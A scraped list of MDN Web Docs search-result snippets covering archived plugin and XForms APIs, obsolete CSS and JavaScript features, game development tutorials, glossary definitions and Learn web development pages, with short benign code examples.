2006-12-08 - Archive of obsolete content
discussions xpcom cpp to js callback engaging discussion on a problem with trying to call back from c++ to a javascript object using an interface the developer created with an idl.
External resources for plugin creation - Archive of obsolete content
please note that even when using these, it is still a good idea to have an understanding of what is going on under the hood, regardless of the level of abstraction provided.
Logging Multi-Process Plugins - Archive of obsolete content
this is done using nspr logging.
NPN_PostURL - Archive of obsolete content
plug-ins can use this function to post form data to cgi scripts using http or upload files to a remote server using ftp.
NPN_ReleaseVariantValue - Archive of obsolete content
any npvariant whose value comes from a call that passes back an npvariant must be released using this function.
NPN_Version - Archive of obsolete content
a plug-in can use this function to check that the version of the plug-in api it is using is compatible with the version in use by the browser.
NPObject - Archive of obsolete content
npobject behavior is implemented using the set of callback functions defined in npclass.
NPP_NewStream - Archive of obsolete content
this mode allows the plug-in full random access to the data using platform-specific file operations.
NPP_Print - Archive of obsolete content
this means that you need to convert the x-y coordinates using the windows api call dptolp when you output text.
NPSavedData - Archive of obsolete content
you can use the plug-in's npp_destroy() function to allocate an npsaveddata object using the npn_memalloc() function, fill in the fields, and return it to the browser as an output parameter.
NPString - Archive of obsolete content
note: whenever an npstring owns its string data and the data may be released through a call to npn_releasevariantvalue(), the string data must be allocated using npn_memalloc().
NPVariant - Archive of obsolete content
javascript type to npvarianttype enumeration mapping when using npvariants to access javascript objects in the browser, or vise versa, the mapping of javascript values to npvariants is as follows: javascript type npvarianttype undefined npvarianttype_void null npvarianttype_null boolean npvarianttype_bool number npvarianttype_int32 or npvarianttype_dou...
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
the unpack property is necessary to tell applications using newer versions of gecko to unpack the plugin because dlls can't be loaded from xpi files.
Supporting private browsing in plugins - Archive of obsolete content
detecting private browsing mode plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable.
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
an example using the most popular element of the well-formed web rss module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:wfw="http://wellformedweb.org/commentapi/" > <channel> <title>example</title> <description>an rss example with wfw</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>i like roo...
What is RSS - Archive of obsolete content
(although some were using rss 0.93 and rss 0.94 even though they weren't supposed to.) in september 2002 userland released rss 2.0.
Atomic RSS - Archive of obsolete content
ArchiveRSSModuleAtom
documentation selected articles atomic rss tim bray talks about using atom 1.0 as a micro format and extension module for rss 2.0; keeping rss 2.0 as your sydication format but bringing in and using selected atom 1.0 elements.
RSS - Archive of obsolete content
atomic rss tim bray talks about using atom 1.0 as a micro format and extension module for rss 2.0; keeping rss 2.0 as your sydication format but bringing in and using selected atom 1.0 elements.
.htaccess ( hypertext access ) - Archive of obsolete content
file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other.
Security Controls - Archive of obsolete content
another fundamental principle with security controls is using multiple layers of security—defense in depth.
Threats - Archive of obsolete content
a threat event is an event or situation initiated or caused by a threat source that has the potential for causing adverse impact.
Vulnerabilities - Archive of obsolete content
first, many configuration settings increase security at the expense of reducing functionality, so using the most secure settings could make the software useless or unusable.
The Basics of Web Services - Archive of obsolete content
web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other.
Making sure your theme works with RTL locales - Archive of obsolete content
using start/end rules instead of left/right rules directions are mirrored in rtl mode, so left becomes right and right becomes left.
Theme changes in Firefox 2 - Archive of obsolete content
browser/dropmark-nav-small.png new file; used as the drop-down menu arrow on the navigation buttons, when using small icons.
Theme changes in Firefox 3.5 - Archive of obsolete content
supporting 3.5 features video/audio player: controlbar has to be styled (chrome://global/skin/media/videocontrols.css) shadow effect for disabled text using text-shadow.
Theme changes in Firefox 4 - Archive of obsolete content
css property on the toolbar element value forced on the iconsize attribute counter-reset: largeicons; large counter-reset: smallicons; small for toolbars in the upper part of the window, the counter-reset property can be set using a css rule that is applied depending on the user preference in the toolbar customization palette.
Developing cross-browser and cross-platform pages - Archive of obsolete content
using object/feature support detection approach: best and overall most reliable when you use object/feature support detection, you only implement those features whose support you have first tested and verified on the visiting browser.
Browser Feature Detection - Archive of obsolete content
among the methods of browser detection, many people recommend using the existence of specific properties or methods in a browser's dom to detect the browser type and whether it supports a given operation.
-ms-ime-align - Archive of obsolete content
in the case of -ms-ime-align: after, an ime might adjust the candidate window and keyboard input behavior to provide a better user experience, such as using a horizontal candidate list and allowing some keys to be sent to the app for suggestion list navigation.
-ms-scroll-translation - Archive of obsolete content
the default css templates for windows apps using javascript, "ui-light.css" and "ui-dark.css", set this property to vertical-to-horizontal by default on the <html> element.
-ms-touch-select - Archive of obsolete content
to find out how to do this using javascript, see the html5 selection apis.
-moz-windows-compositor - Archive of obsolete content
syntax <integer> if the user is using windows with the dwm compositor, this is 1.
:-moz-system-metric(windows-default-theme) - Archive of obsolete content
the :-moz-system-metric(windows-default-theme) css pseudo-class matches an element if the user is currently using one of the following themes in windows: luna, royale, zune, or aero (i.e., vista basic, vista standard, or aero glass).
:-moz-system-metric() - Archive of obsolete content
e size of the visible area of the document.:-moz-system-metric(touch-enabled)the :-moz-system-metric(touch-enabled) css pseudo-class will match an element if the device on which the content is being rendered offers a supported touch-screen interface.:-moz-system-metric(windows-default-theme)the :-moz-system-metric(windows-default-theme) css pseudo-class matches an element if the user is currently using one of the following themes in windows: luna, royale, zune, or aero (i.e., vista basic, vista standard, or aero glass).
::-ms-fill - Archive of obsolete content
inline-block, none) font height margin -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color, outline-style, and outline-width padding transform and transform-origin visibility syntax ::-ms-fill example html <progress value="10" max="50"></progress> css progress::-ms-fill { background-color: orange; } result a progress bar using this style might look something like this: ...
-moz-mac-graphite-theme - Archive of obsolete content
if the user is using the standard blue appearance, or is not on mac os x, this is 0.
-moz-windows-classic - Archive of obsolete content
syntax <integer> if the user is using windows unthemed (in classic mode instead of using uxtheme), this is 1.
-moz-windows-default-theme - Archive of obsolete content
syntax <integer> if the user is using one of the default windows themes—luna, royale, zune, or aero (including vista basic, vista advanced, and aero glass)—this is 1.
-moz-windows-glass - Archive of obsolete content
syntax <integer> if the user is using windows glass theme, this is 1; otherwise it's 0.
display-outside - Archive of obsolete content
contents the element lays out its contents using flex layout.
E4X - Archive of obsolete content
ArchiveWebE4X
try to avoid using it.
Namespaces - Archive of obsolete content
default xml namespace = "http://www.w3.org/1999/xhtml"; var a = <p>some text</p>; default xml namespace = "http://www.mozilla.org/keymaster/gat...re.is.only.xul"; var b = <label>more text</label>; a.appendchild(b); gives <p xmlns="http://www.w3.org/1999/xhtml"> some text <label xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">more text</label> </p> name() using name() on an xml object returns a qname object (qualified name).
Iterator - Archive of obsolete content
for future-facing usages, consider using for..of loops and the iterator protocol.
Array.unobserve() - Archive of obsolete content
examples unobserving an array var arr = [1, 2, 3]; var observer = function(changes) { console.log(changes); } array.observe(arr, observer); ​ arr.push(4); // [{type: "splice", object: <arr>, index: 3, removed:[], addedcount: 1}] array.unobserve(arr, observer); arr.pop(); // the callback wasn't called using an anonymous function var persons = ['khalid', 'ahmed', 'mohammed']; array.observe(persons, function (changes) { console.log(changes); }); persons.shift(); // [{type: "splice", object: <arr>, index: 0, removed: [ "khalid" ], addedcount: 0 }] array.unobserve(persons, function (changes) { console.log(changes); }); persons.push('abdullah'); // [{type: "splice", object: <arr>, index: 2, remo...
Legacy generator function expression - Archive of obsolete content
for future-facing usages, consider using the function* expression.
Debug.write - Archive of obsolete content
if you are using an earlier version of internet explorer, see how to: enable and start script debugging from internet explorer.
Debug.writeln - Archive of obsolete content
if you are using an earlier version of internet explorer, see how to: enable and start script debugging from internet explorer.
Enumerator - Archive of obsolete content
instead of using indexes, as you would with arrays, you can move the current item pointer only to the first or next element of a collection.
@cc_on - Archive of obsolete content
it is not common to use conditional compilation variables in scripts written for asp or asp.net pages or command-line programs because the capabilities of the compilers can be determined by using other methods.
@if - Archive of obsolete content
this is because the capabilities of the compilers can be determined by using other methods.
Number.toInteger() - Archive of obsolete content
examples using tointeger number.tointeger(0.1); // 0 number.tointeger(1); // 1 number.tointeger(math.pi); // 3 number.tointeger(null); // 0 specifications not part of any standard.
Object.prototype.__count__ - Archive of obsolete content
try to avoid using it.
Object.prototype.__parent__ - Archive of obsolete content
try to avoid using it.
Object.unobserve() - Archive of obsolete content
examples unobserving an object var obj = { foo: 0, bar: 1 }; var observer = function(changes) { console.log(changes); } object.observe(obj, observer); ​ obj.newproperty = 2; // [{name: 'newproperty', object: <obj>, type: 'add'}] object.unobserve(obj, observer); obj.foo = 1; // the callback wasn't called using an anonymous function var person = { name: 'ahmed', age: 25 }; object.observe(person, function(changes) { console.log(changes); }); person.age = 40; // [{name: 'age', object: <obj>, oldvalue: 25, type: 'update'}] object.unobserve(person, function(changes) { console.log(changes); }); person.age = 63; // [{name: 'age', object: <obj>, oldvalue: 40, type: 'update'}] // the callback will ...
Object.prototype.unwatch() - Archive of obsolete content
in addition, using watchpoints has a serious negative impact on performance, which is especially true when used on global objects, such as window.
Reflect.enumerate() - Archive of obsolete content
examples using reflect.enumerate() var obj = { x: 1, y: 2 }; for (var name of reflect.enumerate(obj)) { console.log(name); } // logs "x" and "y" specifications not part of any standard.
Archived JavaScript Reference - Archive of obsolete content
this operation leaves oldbuffer in a detached state.date.prototype.tolocaleformat()the non-standard tolocaleformat() method converts a date to a string using the specified formatting.
JavaArray - Archive of obsolete content
in addition, you can create a javaarray with an arbitrary data type using the newinstance method of the array class: public static object newinstance(class componenttype, int length) throws negativearraysizeexception description the javaarray object is an instance of a java array that is created in or passed to javascript.
JavaClass - Archive of obsolete content
examples example: using javaclass in the following example, x is a javaclass object referring to java.awt.font.
JavaObject - Archive of obsolete content
in addition, you can explicitly construct a javaobject using the object's java constructor with the packages keyword: new packages.javaclass(parameterlist) javaclassis the fully-specified name of the object's java class.
java - Archive of obsolete content
you can automatically access it without using a constructor or calling a method.
netscape - Archive of obsolete content
you can automatically access it without using a constructor or calling a method.
sun - Archive of obsolete content
you can automatically access it without using a constructor or calling a method.
ParallelArray - Archive of obsolete content
methods map reduce scan scatter filter flatten partition get examples using map in parallel var p = new parallelarray([0, 1, 2, 3, 4]); var m = p.map(function (v) { return v + 1; }); ...
Server-Side JavaScript - Archive of obsolete content
the simplicity of using javascript on the server was part of netscape's original vision back in the day with netscape livewire.
Standards-Compliant Authoring Tools - Archive of obsolete content
if you're using older versions of tools that rely on old browser bugs or generate browser-specific code, it may be time to upgrade: nvu is a standalone editor created from the remains of mozilla composer.
StopIteration - Archive of obsolete content
for future-facing usages, consider using for..of loops and the iterator protocol.
Window.importDialog() - Archive of obsolete content
try to avoid using it.
Building Mozilla XForms - Archive of obsolete content
for xforms, you will need to add the following line: ac_add_options --enable-extensions="default,xforms" # if you're using a mozilla source before 2010-11-06 (e.g.
RFE to the Custom Controls - Archive of obsolete content
this page could be of particular interest to people using custom controls in xul documents for the following reason.
RFE to the XForms API - Archive of obsolete content
ArchiveWebXFormsRFEXForms API
as an example, the nsixformsaccessors interface which allows a user to get/set the value of an instance node and get the state of an instance node, is exposed by the nsixformsdelegate interface using the accessors property.
XForms Label Element - Archive of obsolete content
attributes ui common accesskey - used to specify the keyboard shortcut for focusing the parent form control.
XForms Output Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special value - xpath expression whose evaluation result is used as the output's value.
XForms Range Element - Archive of obsolete content
accesskey - used to specify the keyboard shortcut for focusing this control.
XForms Secret Element - Archive of obsolete content
accesskey - used to specify the keyboard shortcut for focusing this control.
XForms Submit Element - Archive of obsolete content
accesskey - used to specify the keyboard shortcut for focusing this control.
XForms Switch Module - Archive of obsolete content
a toggle can be designated as an event handler using xml events or may also be contained in an action element.
XForms Textarea Element - Archive of obsolete content
accesskey - used to specify the keyboard shortcut for focusing this control.
XForms Trigger Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type.
Mozilla XForms User Interface - Archive of obsolete content
the form author can also influence the widget by using the appearance attribute on the element.
XForms - Archive of obsolete content
try to avoid using it.
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
focusing on the software development portion of an organization, there are numerous standards bodies that can affect development decisions.
Web Standards - Archive of obsolete content
using web standards in your web pages this article provides an overview of the process for upgrading the content of your web pages to conform to the w3c web standards.
Game promotion - Game development
game portals using game portals is mostly concerned with monetization, but if you're not planning to sell licenses to allow people to purchase your game and are intending to implement adverts or in-app purchases instead, promoting your game across free portals can be effective.
2D collision detection - Game development
implementing sat is out of scope for this page so see the recommended tutorials below: separating axis theorem (sat) explanation collision detection and response collision detection using the separating axis theorem sat (separating axis theorem) separating axis theorem collision performance while some of these algorithms for collision detection are simple enough to calculate, it can be a waste of cycles to test *every* entity with every other entity.
Async scripts for asm.js - Game development
instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object url: var blob = new blob([codestring]); var script = document.createelement('script'); var url = url.createobjecturl(blob); script.onload = script.onerror = function() { url.revokeobjecturl(url); }; script.src = url; document.body.appendchild(script); the setting of src rather than innerhtml i...
Square tilemaps implementation: Scrolling maps - Game development
this article covers how to implement scrolling square tilemaps using the canvas api.
Build the brick field - Game development
setting up the brick variables the overall aim of this lesson is to render a few lines of code for the bricks, using a nested loop that works through a two-dimensional array.
Move the ball - Game development
you can run a function over and over again using a javascript timing function such as setinterval() or requestanimationframe().
Paddle and keyboard controls - Game development
we could improve that and move the paddle only within the boundaries of the canvas by changing the code like this: if(rightpressed) { paddlex += 7; if (paddlex + paddlewidth > canvas.width){ paddlex = canvas.width - paddlewidth; } } else if(leftpressed) { paddlex -= 7; if (paddlex < 0){ paddlex = 0; } } the paddlex position we're using will move between 0 on the left side of the canvas and canvas.width-paddlewidth on the right hand side, which will work exactly as we want it to.
Bounce off the walls - Game development
in phaser this can be easily accomplished using the collideworldsbound property.
Build the brick field - Game development
let's explore how to create a group of bricks and print them on screen using a loop.
Buttons - Game development
adding the button to the game adding the new button to the game is done by using the add.button method.
Load the assets and print them on screen - Game development
loading the ball sprite loading images and printing them on our canvas is a lot easier using phaser than using pure javascript.
Physics - Game development
check out the official physics documentation and see the huge collection of examples using the arcade and p2 physics systems.
Player paddle and controls - Game development
loading the paddle first, add the paddle variable we will be using in our game, right after the ball variable: var paddle; then, in the preload function, load the paddle image by adding the following new load.image() call: function preload() { // ...
Randomizing gameplay - Game development
making rebounds more random we can change the ball's velocity depending on the exact spot it hits the paddle, by modifying the x velocity each time the ballhitpaddle() function is run using a line along the lines of the below.
Scaling - Game development
the stage object has a backgroundcolor property for this purpose, which we can set using css color definition syntax.
The score - Game development
this can be done using the settext() method — add the two new lines seen below to the ballhitbrick() function: function ballhitbrick(ball, brick) { brick.kill(); score += 10; scoretext.settext('points: '+score); } that's it for now — reload your index.html and check that the score updates on every brick hit.
Win the game - Game development
brick) { brick.kill(); score += 10; scoretext.settext('points: '+score); var count_alive = 0; for (i = 0; i < bricks.children.length; i++) { if (bricks.children[i].alive == true) { count_alive++; } } if (count_alive == 0) { alert('you won the game, congratulations!'); location.reload(); } } we loop through the bricks in the group using bricks.children, checking for the aliveness of each with each brick's .alive() method.
Visual JS GE - Game development
this is done using server_instance/res.js.
Game development
generated from c/c++ using clang, or from another language) and compiles that into asm.js, which can be run on the web.
Gecko FAQ - Gecko Redirect 1
gecko enables a pioneering new class of dynamic content that is more interactive and offers greater presentation control to web developers, using open and recommended internet standards instead of proprietary apis.
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
Alignment subject - MDN Web Docs Glossary: Definitions of Web-related terms
for justify-self and align-self, the alignment subject is the margin box of the box the property is set on, using the writing mode of that box.
Block (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
using the display property you can change whether an element displays inline or as a block (among many other options); blocks are also subject to the effects of positioning schemes and use of the position property.
Block cipher mode of operation - MDN Web Docs Glossary: Definitions of Web-related terms
using an inappropriate mode, or using a mode incorrectly, can completely undermine the security provided by the underlying cipher.
CORS-safelisted request header - MDN Web Docs Glossary: Definitions of Web-related terms
you can safelist more headers using the access-control-allow-headers header and also list the above headers there to circumvent the following additional restrictions: additional restrictions cors-safelisted headers must also fulfill the following requirements in order to be a cors-safelisted request header: for accept-language and content-language: can only have values consisting of 0-9, a-z, a-z, space or *,-.;=.
CORS-safelisted response header - MDN Web Docs Glossary: Definitions of Web-related terms
by default, the safelist includes the following response headers: cache-control content-language content-type expires last-modified pragma examples extending the safelist you can extend the list of cors-safelisted response headers by using the access-control-expose-headers header: access-control-expose-headers: x-custom-header, content-length ...
Ciphertext - MDN Web Docs Glossary: Definitions of Web-related terms
a ciphertext's security, and therefore the secrecy of the contained information, depends on using a secure cipher and keeping the key secret.
Class - MDN Web Docs Glossary: Definitions of Web-related terms
prototype-based programming languages (like javascript) using functions as classes in javascript class-based programming on wikipedia object-oriented programming on wikipedia ...
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
servers announce support for client hints using the accept-ch (accept client hints) header or an equivalent html meta element with the http-equiv attribute.
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
using an appropriate language, you can program/create all sorts of software.
Cookie - MDN Web Docs Glossary: Definitions of Web-related terms
cookies can be set and modified at the server level using the set-cookie http header, or with javascript using document.cookie.
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
its sole purpose is to prevent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications.
Domain - MDN Web Docs Glossary: Definitions of Web-related terms
a fully qualified domain name (fqdn) contains all necessary parts to look up this authority by name unambigously using the dns system of the internet.
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
the values of 'slow-2g', '2g', '3g', and '4g' are determined using observed round-trip times and downlink values.
Empty element - MDN Web Docs Glossary: Definitions of Web-related terms
in html, using a closing tag on an empty element is usually invalid.
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
also, older mac computers using 68000-series and powerpc microprocessors formerly used big-endian.
Falsy - MDN Web Docs Glossary: Definitions of Web-related terms
this slot only exists in document.all and cannot be set using javascript.
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
note, however, that most modern browsers replaced the favicon from the address bar by an image indicating whether or not the website is using https.
Flex Container - MDN Web Docs Glossary: Definitions of Web-related terms
a flexbox layout is defined using the flex or inline-flex values of the display property on the parent item.
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
names starting with `sec-` are reserved for creating new headers safe from apis using fetch that grant developers control over headers, such as xmlhttprequest.
Fork - MDN Web Docs Glossary: Definitions of Web-related terms
this is now a more popular term thanks to contribution model using git (and/or the github platform).
Fuzz testing - MDN Web Docs Glossary: Definitions of Web-related terms
fuzzing is a technique for testing software using automated tools to provide invalid or unexpected input to a program or function in a program, then checking the results to see if the program crashes or otherwise acts inappropriately.
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
polyfills can be used to build in missing features with javascript, but acceptable alternatives to features like styling and layout should be provided where possible, for example by using the css cascade, or html fallback behaviour.
Grid Axis - MDN Web Docs Glossary: Definitions of Web-related terms
it is along these axes that items can be aligned and justified using the properties defined in the box alignment specification.
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
if you do not place items using one of the grid placement methods, direct children of the grid container will be placed one into each individual grid cell by the auto-placement algorithm.
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
these can be created in css grid layout using the grid-column-gap, grid-row-gap, or grid-gap properties.
HSTS - MDN Web Docs Glossary: Definitions of Web-related terms
http strict transport security lets a web site inform the browser that it should never load the site using http and should automatically convert all attempts to access the site using http to https requests instead.
HTTP/3 - MDN Web Docs Glossary: Definitions of Web-related terms
the major point of http/3 is that it using a new udp protocol named quic, instead of tcp.
ICE - MDN Web Docs Glossary: Definitions of Web-related terms
this protocol lets two peers find and establish a connection with one another even though they may both be using network address translator (nat) to share a global ip address with other devices on their respective local networks.
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
another implication of delete being idempotent is that developers should not implement restful apis with a delete last entry functionality using the delete method.
Input method editor - MDN Web Docs Glossary: Definitions of Web-related terms
input method editors are used in many situations: to enter chinese, japanese, or korean text using a latin keyboard to enter latin text using a numeric keypad to enter text on a touch screen using handwriting recognition ...
Intrinsic Size - MDN Web Docs Glossary: Definitions of Web-related terms
for text the min-content size would be if the text wrapped as small as it can in the inline direction without causing an overflow, doing as much soft-wrapping as possible.
LGPL - MDN Web Docs Glossary: Definitions of Web-related terms
while any derivative work using a gpl-licensed program must be released under the same terms (free to use, share, study, and modify), the lgpl only requires the lgpl-licensed component of the derivative program to continue using the lgpl, not the whole program.
Main Axis - MDN Web Docs Glossary: Definitions of Web-related terms
or, you can control the space between and around items by using the justify-content property.
Main thread - MDN Web Docs Glossary: Definitions of Web-related terms
unless intentionally using a web worker, such as a service worker, javascript runs on the main thread, so it's easy for a script to cause delays in event processing or painting.
Media (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge using media queries technical reference media queries define a set of characteristics or parameters required to apply the css styles that are specified within the curly braces of the media query; for example: only applying certain css styles for devices below 768 pixels.
Native - MDN Web Docs Glossary: Definitions of Web-related terms
an example of a native android app would be a mobile application written in java using the android toolchain.
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
frame-ancestors specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>.
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
javascript // using a string method doesn't mutate the string var bar = "baz"; console.log(bar); // baz bar.touppercase(); console.log(bar); // baz // using an array method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // assignment gives the primitive a new (not a mutated) value bar = bar.touppercas...
Promise - MDN Web Docs Glossary: Definitions of Web-related terms
using promises ...
Quality values - MDN Web Docs Glossary: Definitions of Web-related terms
more information http headers using q-values in their syntax: accept, accept-charset, accept-language, accept-encoding, te.
Quaternion - MDN Web Docs Glossary: Definitions of Web-related terms
while mathematical quaternions are more involved than this, the unit quaternions (or rotational quaternions) used to represent rotation while using webgl or webxr, for example, are represented using the same syntax as a 3d point.
RAIL - MDN Web Docs Glossary: Definitions of Web-related terms
idle when using the main javascript thread, work in chunks for less than 50ms to free up the thread for user interactions.
REST - MDN Web Docs Glossary: Definitions of Web-related terms
beginners can assume a rest api means an http service that can be called using standard web libraries and tools.
Responsive web design - MDN Web Docs Glossary: Definitions of Web-related terms
responsive web design (rwd) is a web development concept focusing on making sites look and behave optimally on all personal computing devices, from desktop to mobile.
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
the rtt between a network and server can be determined by using the ping command.
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
based on an xml syntax, svg can be styled with css and made interactive using javascript.
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
semantic elements these are some of the roughly 100 semantic elements available: <article> <aside> <details> <figcaption> <figure> <footer> <header> <main> <mark> <nav> <section> <summary> <time> learn more html element reference on mdn using html sections and outlines on mdn the meaning of semantics in computer science on wikipedia ...
Server - MDN Web Docs Glossary: Definitions of Web-related terms
a client program and server program traditionally connect by passing messages encoded using a protocol over an api.
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
inject new packets to the server using the victim's session id.
Signature (security) - MDN Web Docs Glossary: Definitions of Web-related terms
from the hash of a given message, the signing process first generates a digital signature linked to the signing entity, using the entity's private key.
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
these symbols let you configure how js treats an object, by using them as property keys.
Synchronous - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference asynchronous synchronous and asynchronous requests using the xmlhttprequest() api ...
TURN - MDN Web Docs Glossary: Definitions of Web-related terms
turn (traversal using relays around nat) is a protocol enabling a computer to receive and send data from behind a network address translator (nat) or firewall.
Texel - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge texel (graphics) on wikipedia learn about it using textures in webgl lighting in webgl animating textures in webgl ...
Type coercion - MDN Web Docs Glossary: Definitions of Web-related terms
to return this result, you'd have to explicitly convert the 5 to a number using the number() method: sum = number(value1) + value2; ...
VoIP - MDN Web Docs Glossary: Definitions of Web-related terms
the main reason for using voip technology is because of cost.
XForms - MDN Web Docs Glossary: Definitions of Web-related terms
no major browser supports xforms any longer—we suggest using html5 forms instead.
XQuery - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge official website xquery on wikipedia technical reference discussion about using xquery from firefox ...
Brotli - MDN Web Docs Glossary: Definitions of Web-related terms
it compresses data using a combination of a modern variant of the lz77 algorithm, huffman coding, and second-order context modeling, providing a compression ratio comparable to the best currently available general-purpose compression methods.
caret - MDN Web Docs Glossary: Definitions of Web-related terms
most user interfaces represent the caret using a thin vertical line or a character-sized box that flashes, but this can vary.
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
the http authentication protocol is challenge-response based, though the "basic" protocol isn't using a real challenge (the realm is always the same).
Character encoding - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in html we normally declare a character encoding of utf-8, using the following line: <meta charset="utf-8"> this ensures that you can use characters from just about any human language in your html document, and they will display reliably.
markup - MDN Web Docs Glossary: Definitions of Web-related terms
within a text file such as an html file, elements are marked up using tags which explain the purpose of that part of the content.
Origin - MDN Web Docs Glossary: Definitions of Web-related terms
some operations are restricted to same-origin content, and this restriction can be lifted using cors.
Time to first byte - MDN Web Docs Glossary: Definitions of Web-related terms
this time includes dns lookup and establishing the connection using a tcp handshake and ssl handshake if the request is made over https.
About Scriptable Interfaces - Interfaces
when we label an interface as scriptable, we're saying that components exporting this interface can be referenced (through this interface) from scripts (e.g javascript), and that we can write new components implementing the interface using script languages.
Test your skills: HTML accessibility - Learn web development
you could take the header image further and implement it using css for arguably better accessibility.
Test your skills: The Cascade - Learn web development
task one in this task, you need to use one of the special values we looked at in the controlling inheritance section to write a declaration in a new rule that will reset the background color back to white, without using an actual color value.
Creating fancy letterheaded paper - Learn web development
if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the document.
Attribute selectors - Learn web development
by using li[class] we can match any selector with a class attribute.
Test your skills: The Box Model - Learn web development
the box model one with the two boxes below, one is using the standard box model, the other the alternate box model.
Test your skills: Selectors - Learn web development
selectors five in this final task add css using attribute selectors to do the following: target the <a> element with a title attribute and make the border pink (border-color: pink).
CSS selectors - Learn web development
the following for example selects paragraphs that are direct children of <article> elements using the child combinator (>): article > p { } next steps you can take a look at the reference table of selectors below for direct links to the various types of selectors in this learn section or on mdn in general, or continue on to start your journey by finding out about type, class, and id selectors.
Test your skills: sizing - Learn web development
you should also give the inner box padding of 10% using the width (or inline size) as the size from which that percentage is calculated.
Test your skills: tables - Learn web development
in this task we are going to style the same table, but using some good practices for table design as outlined in the external article web typography: designing tables to be read not looked at.
Test your skills: backgrounds and borders - Learn web development
this aim of this skill test is to get you working with css backgrounds and borders using the skills you have learned in the previous lesson.
Test your skills: Grid Layout - Learn web development
grid layout three there are four direct children in this grid; the starting point has them displayed using auto-placement.
Normal Flow - Learn web development
it ensures that your content is readable, even if the user is using a very limited browser or a device such as a screen reader that reads out the content of the page.
What HTML features promote accessibility? - Learn web development
link titles if you have a link that isn’t self-descriptive, or the link destination could benefit from being explained in more detail, you can add information to a link using the title attribute.
How does the Internet work? - Learn web development
so using the domain name is the easiest way for us to reach a computer over the internet.
How much does it cost to do something on the Web? - Learn web development
if at some point you need to exchange projects with other designers, you should find out what tools they're using.
What is a Domain Name? - Learn web development
your browser asks your computer if it already recognizes the ip address identified by this domain name (using a local dns cache).
What is a web server? - Learn web development
(up and running) excusing downtime and systems troubles, a dedicated web server is always connected to the internet.
What is accessibility? - Learn web development
pausing capacity users may have trouble understanding someone in a video.
CSS property compatibility table for form controls - Learn web development
rty is applied as it is t (tweaked) indicates that the property is applied with the extra rule below: * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */ background: none; } compatibility tables global behaviors some behaviors are common to many browsers at a global level: border, background, border-radius, height using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers.
Test your skills: Form validation - Learn web development
form validation 2 now we want you to take the same form you saw in the previous task (use your previous answer if you want to), and add some more specific pattern validation to the first three fields using regular expressions.
How the Web works - Learn web development
this message, and all other data sent between the client and the server, is sent across your internet connection using tcp/ip.
Installing basic software - Learn web development
you should also test how your site performs on mobile devices and on any old browsers your target audience may still be using (such as ie 8–10.) lynx, a text-based terminal web browser, is great for seeing how your site is experienced by visually-impaired users.
What will your website look like? - Learn web development
note: even on real, complex websites, the design teams usually start out with rough sketches on paper and later on build digital mockups using a graphics editor or web technologies.
Getting started with the Web - Learn web development
what fonts and colors are you using?
Define terms with HTML - Learn web development
the contents of title are completely hidden from your users, unless they're using a mouse and they happen to hover over the abbreviation.
Structuring a page of content - Learn web development
previous overview: introduction to html structuring a page of content ready for laying it out using css is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.
Test your skills: HTML text basics - Learn web development
html text basics 1 in this task we want you to mark up the provided html using semantic heading and paragraph elements.
Introduction to HTML - Learn web development
